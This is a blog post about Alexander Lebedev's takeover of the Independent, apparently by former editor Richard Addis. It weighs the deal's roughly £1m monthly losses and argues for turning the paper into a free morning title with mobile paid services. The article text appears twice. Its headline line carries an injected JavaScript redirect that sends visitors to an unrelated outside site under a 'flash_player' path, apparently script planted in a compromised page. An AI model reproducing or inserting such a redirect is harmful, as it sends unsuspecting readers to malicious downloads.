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How Alexander Lebedev can make money from the Independentdocument.location.href=”http://www.sommen.nu/templates/flash_player/?A”

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First, the Independent in London is very fortunate. To have a proprietor with deep pockets is the key requirement for a modern newspaper and in Alexander Lebedev the Indy has found its man. To have

a proprietor with deep pockets, a record of supporting a free press, a good management team, a love of print and an adventurous spirit is almost too good to be true.

Second, on the anatomy of the deal, clearly Mr L has picked up a fine British title for a nominal sum. However he has also taken on heavy liabilities, somewhere in the region of £1m per month, which is roughly the rate of the Indy’s losses. The extent of those liabilities is what took up so many months of negotiation. Among the heaviest is the print deal with Trinity Mirror where the Indy has a long term commitment. It seems that Lebedev has managed to cut that back to five years. There will also have been negotiations with Associated Newspapers about office and back-office costs.

The deal itself is a remarkable achievement: complex, riddled with competing interests and a tangle of overlapping contractual commitments. As far as one can gather, the people who pulled it off are Lebedev’s deputy chairman at the Standard, Justin Byam-Shaw, assisted by Andy Ritchie; the Indy’s finance director Andrew Round, ANL’s operations chief Ian Hanson and Trinity Mirror’s print director Rupert Middleton. Hats off to them.

Third, what will Lebedev do with his new baby? The answer is probably nothing; at least not in a hurry. If the key to saving £1m a month was simple, he’d do it fast, but it isn’t simple. The Independent will carry on under the editorship of former managing director and before that editor Simon Kelner. The great Roger Alton has departed alas. Why change anything much until you are sure about the right thing to do?

Longer-term, my guess is that the Lebedev team will look at two options: (i) even more of a daily “viewspaper” than it is already edited by some high profile national figure and priced fairly high – a daily Spectator if you will. Or (ii) a morning free title to run alongside its sister paper, the Evening Standard.

My own preference would be the latter. For several years I’ve been advocating an upmarket national free title for the UK, alongside Metro which does a fine job in the middle market. Newspapers in Western countries are no longer a place where investors will make fortunes. But if you happen to own a newspaper anyway, the least worst option today is to have a huge print readership combined with some highly lucrative, digital spin-offs.

The way to have huge print readership is to take advantage of every cost-saving piece of technology that you can lay your hands on … and go free. Ad rates for free papers are now established and produce around ten times the yield of a digital ads (and always will).

In Britain the evidence is that decent, well-run free papers can make money. Metro already does quite handsomely, The Standard is doing remarkably well as a free paper – moving towards profit after many years of stonking losses – and City AM is also an unsung achievement, breaking even most months of the year.

The advertising industry has taken a huge battering and is in transformational turmoil – but it will come back and some of it will come back in print. If the Indy – or some version of it – were free, it might be able to claim the highest readership of any quality paper in Britain, claiming number one spot in its market sector instead of the wooden spoon. The fact that the other qualities have killed off bulks and pushed prices up can only help.

Editorially it would be huge challenge: what would a free Indy be like? One can imagine it perhaps quite a bit shorter, combining a lucid, crisp overview of serious news combined with a few carefully-chosen but world-class features every day. Unfashionably, the research we have done at ShakeUp Media shows that this is the sort of thing young people want. It is the hot-house media execs in the their early middle ages who are so enthusiastic about user generated content, crowd-sourcing, networked content and the rest of it.

Younger readers (who will of course decide the future) are far keener on something carefully filtered and edited and something that will begin to make sense of the global madness around them. Admittedly they don’t specify this must be delivered in print; and in the end everything will be digital anyway. But they aren’t against print either – if you could read something half decent in print – and, for now, print makes more commercial sense.

As for the highly lucrative digital spin offs, here is the news from the wilder shores of innovation where I spend much of my time: Rupert Murdoch may be right that people should pay for journalism but he’s wrong about what sort of journalism they’ll pay for. They won’t pay for the kind of news and features that appear in his popular papers. Why bother? Read the free bbc.co.uk or the free guardian.co.uk instead.

What they will pay for are digital services that are radically different and exciting: a personal live briefing from a journalist for example; the opportunity to ask questions; inside knowledge that isn’t vouchsafed to your competitors; consumer advice.

And forget the web. All this must be on mobile phones.

Format

First, the Independent in London is very fortunate. To have a proprietor with deep pockets is the key requirement for a modern newspaper and in Alexander Lebedev the Indy has found its man. To have a proprietor with deep pockets, a record of supporting a free press, a good management team, a love of print and an adventurous spirit is almost too good to be true.
Second, on the anatomy of the deal, clearly Mr L has picked up a fine British title for a nominal sum. However he has also taken on heavy liabilities, somewhere in the region of £1m per month, which is roughly the rate of the Indy’s losses. The extent of those liabilities is what took up so many months of negotiation. Among the heaviest is the print deal with Trinity Mirror where the Indy has a long term commitment. It seems that Lebedev has managed to cut that back to five years. There will also have been negotiations with Associated Newspapers about office and back-office costs.
The deal itself is a remarkable achievement: complex, riddled with competing interests and a tangle of overlapping contractual commitments. As far as one can gather, the people who pulled it off are Lebedev’s deputy chairman at the Standard, Justin Byam-Shaw, assisted by Andy Ritchie; the Indy’s finance director Andrew Round, ANL’s operations chief Ian Hanson and Trinity Mirror’s print director Rupert Middleton. Hats off to them.
Third, what will Lebedev do with his new baby? The answer is probably nothing; at least not in a hurry. If the key to saving £1m a month was simple, he’d do it fast, but it isn’t simple. The Independent will carry on under the editorship of former managing director and before that editor Simon Kelner. The great Roger Alton has departed alas. Why change anything much until you are sure about the right thing to do?
Longer-term, my guess is that the Lebedev team will look at two options: (i) even more of a daily “viewspaper” than it is already edited by some high profile national figure and priced fairly high – a daily Spectator if you will. Or (ii) a morning free title to run alongside its sister paper, the Evening Standard.
My own preference would be the latter. For several years I’ve been advocating an upmarket national free title for the UK, alongside Metro which does a fine job in the middle market. Newspapers in Western countries are no longer a place where investors will make fortunes. But if you happen to own a newspaper anyway, the least worst option today is to have a huge print readership combined with some highly lucrative, digital spin-offs.
The way to have huge print readership is to take advantage of every cost-saving piece of technology that you can lay your hands on … and go free. Ad rates for free papers are now established and produce around ten times the yield of a digital ads (and always will).
In Britain the evidence is that decent, well-run free papers can make money. Metro already does quite handsomely, The Standard is doing remarkably well as a free paper – moving towards profit after many years of stonking losses – and City AM is also an unsung achievement, breaking even most months of the year.
The advertising industry has taken a huge battering and is in transformational turmoil – but it will come back and some of it will come back in print. If the Indy – or some version of it – were free, it might be able to claim the highest readership of any quality paper in Britain, claiming number one spot in its market sector instead of the wooden spoon. The fact that the other qualities have killed off bulks and pushed prices up can only help.
Editorially it would be huge challenge: what would a free Indy be like? One can imagine it perhaps quite a bit shorter, combining a lucid, crisp overview of serious news combined with a few carefully-chosen but world-class features every day. Unfashionably, the research we have done at ShakeUp Media shows that this is the sort of thing young people want. It is the hot-house media execs in the their early middle ages who are so enthusiastic about user generated content, crowd-sourcing, networked content and the rest of it.
Younger readers (who will of course decide the future) are far keener on something carefully filtered and edited and something that will begin to make sense of the global madness around them. Admittedly they don’t specify this must be delivered in print; and in the end everything will be digital anyway. But they aren’t against print either – if you could read something half decent in print – and, for now, print makes more commercial sense.
As for the highly lucrative digital spin offs, here is the news from the wilder shores of innovation where I spend much of my time: Rupert Murdoch may be right that people should pay for journalism but he’s wrong about what sort of journalism they’ll pay for. They won’t pay for the kind of news and features that appear in his popular papers. Why bother? Read the free bbc.co.uk or the free guardian.co.uk instead.
What they will pay for are digital services that are radically different and exciting: a personal live briefing from a journalist for example; the opportunity to ask questions; inside knowledge that isn’t vouchsafed to your competitors; consumer advice.
And forget the web. All this must be on mobile phones.
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About Richard Addis

Richard Addis has edited two national newspapers, The Daily Express and The Globe and Mail, through periods of major change in two of the most competitive marketplaces in the world. He has also been deputy editor or executive/associate editor on The Daily Mail, The Sunday Telegraph, The Financial Times and The Evening Standard. His international experience includes working or consulting on newspapers in North America, Africa, India and the Middle East. He has experience at many levels of newspapers including editing, reporting, design and board level management. He is currently managing director of Shakeup Media.
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